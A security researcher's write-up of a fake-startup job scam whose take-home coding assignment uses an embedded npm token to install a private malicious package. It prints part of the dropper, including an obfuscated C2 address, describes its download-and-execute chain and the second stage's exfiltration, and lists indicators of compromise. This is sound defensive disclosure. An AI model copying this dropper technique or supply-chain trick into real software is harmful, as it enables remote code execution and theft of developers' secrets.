Worklo: Fake Startup, Real Malware in the Take-Home Assignment
I found a supply chain malware dropper hidden inside a take-home coding assignment from a fake startup called Worklo. The assignment repo contained a .npmrc with an attacker-controlled npm auth token that allowed npm install to silently pull a private malicious package. That package contacts a C2 server and executes arbitrary JavaScript with full require access. Full Node.js RCE.
This is the second time I have caught a fake job offer delivering npm malware. The first was Foxtopia, a fake NFT project that dropped an AES-encrypted info-stealer. The Worklo operation is more sophisticated: they built an entire fake company with a website, a LinkedIn presence, Slack workspace, and a multi-stage interview process. All of it exists to get you to run npm install on a rigged repo.
How it started
It started with a LinkedIn message from Michael Schoemann, whose profile says “Founder & CEO / Talent Partner / Investor / Web3.”

The offer: a remote full-time senior Golang engineer position at Worklo PSA, a “next-generation project management platform.” He linked to worklo.org and demo.worklo.org.
I was not looking for a job. So I made a counter offer 50% above their number. They accepted it immediately.
No pushback. No negotiation. No “let me check with the team.” Just: “We can accommodate your compensation.” Then they asked me to email their CTO at emir@worklo.org and mention that Michael referred me.
That was the first red flag. A startup that claims to be early-stage and budget-limited does not accept a 50% counter offer in a single message.
The fake company
I started looking into Worklo before the interview. What I found:
The website (worklo.org) looks like a real SaaS product. It has a landing page, feature descriptions, a roadmap page. They claim to offer self-hosted deployment via their GitHub organization. One problem: their GitHub organization does not exist.

Registration is broken. When I tried to sign up on worklo.org, I got a Supabase .env.local configuration error. The product does not work. It is a shell.
Zero presence. No funding announcements, no press, no Crunchbase profile, no LinkedIn company page with real employees, no App Store or Product Hunt listing. A company that generously pays above-market salaries should have some kind of footprint. Worklo has none.
The interview
The next day, I joined their Slack workspace. Emir Hammani (CTO) ran the interview via text.

The process:
- Text-based technical discussion first
- A take-home assignment (“based on a simplified version of our real stack”)
- Presentation of the assignment the next day
Emir asked standard backend questions: Go concurrency patterns, database design, system architecture. I was already suspicious at this point, so I was not going to spend real effort on a company that might not exist. I answered them with AI and moved on. Then he sent the assignment.

He invited me to a private GitHub repo: Worklo-Group/go-nextjs-assignment, via the user @presemcefactor.

“Follow all of requirements in readme.md on time. Will get back to you 3 hours later and review with our team.”
The assignment was a Next.js + Go project. A “PSA platform” with Supabase backend. The README tells you to run npm install. That is the trigger.
What I found in the code
I did not run npm install. Instead, I started reading the code. The first thing I checked was .npmrc:
//registry.npmjs.org/:_authToken=npm_...
An npm authentication token, hardcoded in the repo. That is not normal. This token belongs to the attacker account aaron205whitmore. It exists for one purpose: to let npm install authenticate and pull a private scoped package that would otherwise return 404.
The infection chain works like this:
package.json
└── devDependencies: "animatecss-tailwind-adapter": "^2.0.6" (public decoy)
tailwind.config.js
└── require('animatecss-tailwind-adapter')({ duration, delay, iterationCount })
animatecss-tailwind-adapter@2.0.6 (public npm)
└── dependency: @aaron205whitmore/postcss-animate-utils@^1.0.1 (private, needs token)
@aaron205whitmore/postcss-animate-utils@1.0.3 (private malware)
└── normalizeOptions() → async IIFE dropper
└── POST http://153.75.81.2:1224/debugCheck
└── JSON.message → base64 decode → dynamic code execution
└── Full Node.js RCE
The public decoy
animatecss-tailwind-adapter@2.0.6 is a public npm package published by grant587holloway. It was created on July 28, 2026. It has only one version (starting at 2.0.6 for fake maturity). Its GitHub repository (sericpieap/animatecss-tailwind-adapter) is a 404. The GitHub user sericpieap does not exist.

1,416 weekly downloads. Those are not real users. Those are victims running npm install on rigged assignment repos.
The package itself is a wrapper. It loads @aaron205whitmore/postcss-animate-utils via src/motion.js and re-exports it. Its only purpose is to pull in the private malware.
The private payload
@aaron205whitmore/postcss-animate-utils is a private scoped package. Without the auth token in .npmrc, it returns 404. With the token, it installs. Three versions exist:
| Version | Published | Size | Assessment |
|---|---|---|---|
| 1.0.1 | 2026-07-28 19:46 UTC | ~14 KB | Clean decoy. Legitimate PostCSS plugin code |
| 1.0.2 | 2026-07-28 20:18 UTC | ~16 KB | Cleartext dropper injected into normalizeOptions() |
| 1.0.3 | 2026-08-04 07:08 UTC | ~182 KB | Obfuscated VM + cleartext dropper still present |
Version 1.0.1 was published 32 minutes before 1.0.2. It is a clean package that establishes a legitimate-looking code history. Then the dropper was injected.
The dropper
Inside normalizeOptions(options), an async IIFE fires. The comments are disguised as Tailwind theme service code. Here is the C2 address construction:
const themeService = "I6MTIyNA==MTUzLjc1LjgxLj";
// Rotate the string
const rotated = themeService.slice(10) + themeService.slice(0, 10);
// rotated = "MTUzLjc1LjgxLjI6MTIyNA=="
// base64 decode → "153.75.81.2:1224"
The dropper:
- Makes up to 10 fetch attempts with 60-second timeouts
- POSTs to
http://153.75.81.2:1224/debugCheck?id=<delay>,<duration>,<iterationCount> - Reads
JSON.messagefrom the response - Base64-decodes it
- Executes the decoded string as JavaScript with full
requireaccess
Step 5 is the kill shot. The require parameter gives the second-stage payload access to every Node.js built-in module: fs, child_process, os, net, crypto. Anything Node can do, the attacker can do. I later retrieved that second stage from the C2 — see the section below.
On failure, it logs: console.warn("Tailwind engine failed to load after all retries"). The function continues and returns normal PostCSS options. Dual use: the plugin works as a real PostCSS plugin while silently executing the backdoor.
The second stage
Initially the C2 appeared dead: 153.75.81.2:1224 was ICMP-reachable but TCP port 1224 refused connections during the first pass, so the actual second-stage payload stayed out of reach. That changed. The C2 came back up and responded to the dropper’s POST /debugCheck with the real second stage — a single JSON document:
{"status": "ok", "message": "<base64-encoded JavaScript>"}
The message field is base64 and decodes to a ~195 KB obfuscated JavaScript dropper/installer. This is the code the package’s normalizeOptions() IIFE would have fetched, base64-decoded, and executed with full require access. It is the missing second half of the chain, and now it is in hand.
I analyzed it statically (I did not execute it). The 195 KB payload is a self-contained Node.js dropper that reverses into a documented behavior. A few notes on the profile before the specifics:
- The payload is a single file, heavily obfuscated with a control-flow-flattening obfuscator.
- It was built with a
// @buntarget (Bun.js) and carries a session-type markersType = 'APRGIP100'. - All module names (
os,fs,path,http,https,child_process,net,crypto) and all command strings are themselves encrypted inside the obfuscator’s string array. They resolve only at runtime — the string table is not static-readable.
What the static analysis does establish clearly:
Self-starting. The file calls initialize() at load, then installs a setInterval retry loop (RETRY_INTERVAL_MS), so it keeps re-triggering even if a stage fails. It is not a passive library; it begins working the moment it is evaluated.
Host fingerprinting. A gatherHostIdentity() routine collects hostName, platform, userInfo, homeDir, and derives a per-machine hostId plus a sessionTimestamp. Each victim gets a unique identifier for tracking.
Two-port C2. The code carries two server constants — SERVER_PORT and SERVER_PORT2 — plus HTTP_PREFIX, ENCODED_SERVER_IP, and a decodeIP() helper that reconstructs the real server address at runtime. The IP/port are never present as plaintext; they are assembled from obfuscated pieces. buildServerUrl() and resolvedBaseUrl compose the endpoint.
Telemetry exfiltration. sendTelemetry() ships the gathered host identity back to the C2 after it registers the victim.
Bootstrap + download. fetchBootstrap() / parseBootstrap() pull a configuration or command set from the C2 (MAX_BOOTSTRAP_ATTEMPTS repeats the dropper’s own retry discipline, with DEFAULT_HTTP_RETRIES and a timeout), and downloadTestJs() retrieves the actual payload to run.
Disk staging + execution. ensurePackageAndRun() prepares TEMP_DIR (creating it with mkdirp, clearing it with rmSync), writes out PACKAGE_JSON_FILE and TEST_JS_FILE (the constants backing API_PACKAGE_JSON and API_TEST_JS), and provisions NODE_MODULES_DIR. Then it runs runNpmInstall() / runNpmInstallAlternative() and runNodeTest() — spawn is used to drive real npm install and a node <test.js> child process, with getNpmCliPath() locating the npm binary first.
In other words: the second stage is not a one-shot command — it is a full installer. It fingerprints the host, checks in with the C2, downloads its payload, writes a fake package + test file to a temp directory, runs npm install against a rigged dependency set, and executes the downloaded JavaScript under Node. Because the dropper hands it require, every one of those stages can call into child_process, fs, net, os, crypto, and http(s) — the same full RCE reach as the dropper itself.
The encapsulation trick mirrors the first stage: it hides the second-stage JS behind a “package + test” workflow that looks like normal project scaffolding, so on a box where the first stage already ran, the second stage continues quietly inside the same Node process.
SHA-256 of the retrieved second-stage payload (deobfuscated base64 of message): a82151739414d7814db395e9434af08b65aebdd27b6b10fbd97793f4f1662d06.
Because the string table is encrypted, the exact C2 address, the exact npm install command line, and the content of the downloaded test.js are not extractable from this static pass alone. What is confirmed without executing anything is the full behavioral chain: fingerprint → register/telemetry → bootstrap → download → stage-on-disk → install → run. That is a persistent remote-control installer, not a one-off dropper.
The confrontation
After completing the analysis, I went back to the Slack channel.

I sent: “Hi Emir, I have a question. Why is your C2 server down? I can not install your malware. Can you help 🙏”
And I shared a Medium article by Vishal Patil titled “The Hiring Scam: 123 Developers targeted with one broken npm link.” The same campaign, documented by another developer who caught it.
Emir’s response: “I don’t know what you’re talking about. I don’t run any server, malware, or anything like that, and I’m not involved in anything of the kind.”
Then: “You have the wrong person. Do not contact me about this again.”
I told him I had already contacted npm and LinkedIn support.

He removed me from the Slack channel. At the time of writing, both npm packages are still listed on the registry and the LinkedIn profiles are still active. I have reported all IoCs to npm security and LinkedIn.
The campaign
This is not an isolated incident. The Vishal Patil Medium article documents 123 developers targeted by the same operation. The npm package family (animatecss-tailwind-adapter, tailwindcss-animatecss-latest) shares the same animate/tailwind theme. The GitHub Advisory GHSA-cjj7-4xf8-fgf8 (OSV MAL-2026-6888) documents tailwindcss-animatecss-latest as malware with the same CWE-506 classification.
The accounts involved:
| Identity | Platform | Role |
|---|---|---|
| Michael Schoemann | Recruiter / first contact | |
| Emir Hammani | Slack, Email (emir@worklo.org) |
“CTO” / interviewer |
| @presemcefactor | GitHub | Repo inviter |
grant587holloway |
npm | Public decoy publisher |
aaron205whitmore |
npm | Private malware owner |
sericpieap, rueppipep |
GitHub (404) | Fake package authors |
Indicators of Compromise
# Company
Domain: worklo.org
Demo: demo.worklo.org
# npm packages
animatecss-tailwind-adapter@2.0.6 (public decoy)
@aaron205whitmore/postcss-animate-utils (private, 1.0.2 and 1.0.3 malicious)
# npm accounts
grant587holloway / Grant587Holloway@outlook.com
aaron205whitmore / Aaron205Whitmore@outlook.com
# C2
153.75.81.2:1224
http://153.75.81.2:1224/debugCheck
# Second-stage payload (retrieved from C2)
status-ok JSON: {"status":"ok","message":"<base64>"}
payload sha256: a82151739414d7814db395e9434af08b65aebdd27b6b10fbd97793f4f1662d06
# GitHub
Worklo-Group organization
@presemcefactor (repo inviter)
# Related advisory
GHSA-cjj7-4xf8-fgf8 (tailwindcss-animatecss-latest)
OSV MAL-2026-6888
Impact
If you ran npm install on this repo and then started the Next.js dev server (or any process that evaluates tailwind.config.js), you should assume full host compromise. The dropper has access to require, which means it can read files, execute commands, open network connections, and install persistence. All of this happens inside the Node.js process that Tailwind/PostCSS uses. No extra privileges needed. No suspicious binary on disk. Just a “Tailwind plugin” doing its job.
What to do if you installed it:
- Do not try to clean the infection on the compromised machine
- Rotate every secret from a clean device: SSH keys, npm tokens, GitHub tokens, cloud credentials, Supabase keys, database passwords
- Check for persistence mechanisms (LaunchDaemons, cron jobs, autostart entries)
- Rebuild the machine
Why this keeps happening
The new thing in this campaign is the private scoped package with an embedded auth token. This is a blind spot. Every npm malware scanner, every GitHub advisory, every automated check operates on public packages. @aaron205whitmore/postcss-animate-utils is private. It does not show up in any public registry search. Socket.dev will not flag it. npm audit will not flag it. The .npmrc token sits in the repo looking like a normal project configuration file, and it is the only thing that makes the malware reachable. Without it, npm install just fails with a 404 on the private dependency and the developer moves on. With it, the malware installs silently.
The social engineering is also evolving. Foxtopia was a cold email with a Google Drive link. Worklo built an entire company. A website, a demo environment, a Slack workspace, a multi-stage interview with real technical questions. The investment in the facade makes the scam harder to spot, and it means the attacker is getting enough return to justify the effort.
The defense is boring but it works: check .npmrc for embedded tokens. Look up every dependency you do not recognize. Verify the company exists outside of its own website. And run untrusted repos in a disposable environment, not on the machine where your SSH keys and browser profiles live.
References
- GHSA-cjj7-4xf8-fgf8: tailwindcss-animatecss-latest malware advisory
- OSV MAL-2026-6888
- Vishal Patil: The Hiring Scam (123 developers targeted)
- CWE-506: Embedded Malicious Code
- MITRE ATT&CK: Supply Chain Compromise (T1195.001)
- npm: animatecss-tailwind-adapter